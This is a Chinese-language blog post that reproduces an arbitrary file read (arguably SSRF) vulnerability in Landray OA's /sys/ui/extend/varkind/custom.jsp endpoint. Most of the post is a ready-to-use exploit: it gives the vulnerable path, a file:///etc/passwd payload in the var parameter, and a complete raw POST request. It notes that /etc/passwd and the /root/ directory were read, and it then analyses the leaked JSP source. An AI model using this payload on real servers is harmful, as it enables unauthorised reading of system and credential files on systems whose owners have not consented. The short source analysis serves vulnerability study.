蓝凌OA任意文件读取漏洞利用

  1. 起因
  2. 介绍
  3. 复现
  4. 分析
  5. 参考文章

起因

P.S. 我看网上的复现都是读文件的都写CNVD-2021-28277,但是看蓝凌安全中心的漏洞公告显示是

问题:CNVD-2021-28277 攻击者可利用该漏洞获取服务器控制权

安全补丁:#133383 /#137780

修复:1、任意用户密码重置;
2、ObjectXML反序列化漏洞增加白名单功能

反倒是CNVD-2021-37311和官方公告中的都是任意文件读取漏洞

介绍

访问http://example.com/sys/ui/extend/varkind/custom.jsp,以下页面即为存在漏洞

payload为var={"body":{"file":"file:///etc/passwd/"}}

数据包如下

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 127.0.0.1
Content-Length: 42
Cache-Control: max-age=0
Origin: http://example.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://example.com/sys/ui/extend/varkind/custom.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=428B6FA67BD4232CB1D689E1C3787E2E
Connection: close

var={"body":{"file":"file:///etc/passwd"}}

复现

可以读文件

读取/etc/passwd文件

可以读目录

读取/root/目录

分析

通过漏洞读取到/sys/ui/extend/varkind/custom.jsp代码如下

<%@page import="com.landray.kmss.util.ResourceUtil"%>
<%@page import="net.sf.json.JSONArray"%>
<%@page import="net.sf.json.JSONObject"%>
<%@ page language="java" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%
    JSONObject vara = JSONObject.fromObject(request.getParameter("var"));
    JSONObject body = JSONObject.fromObject(vara.get("body"));
%>
<c:import url='<%=body.getString("file") %>'>
    <c:param name="var" value="${ param['var'] }"></c:param>
</c:import>

看了一下文档

<c:import> 检索绝对或相对 URL,并将其内容公开给页面

<c:param> 将参数添加到包含“import”标签的 URL。

经测试c:import标签是可以请求远程文件,所以感觉这个叫SSRF应该更合适


参考文章

import (TLDDoc Generated Documentation)

param (TLDDoc Generated Documentation)


转载请注明来源,欢迎对文章中的引用来源进行考证,文章可能具有时效性,欢迎指出任何有错误、已失效或不够清晰的表达 ,可通过[邮件](mailto:cnlnnn@qq.com)联系垃圾堆主人

文章标题:蓝凌OA任意文件读取漏洞利用

字数:534

本文作者:cnlnn

发布时间:2021-09-18, 13:11:48

最后更新:2021-09-18, 13:11:48

原始链接:https://cnlnn.ml/posts/26a25b8e/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。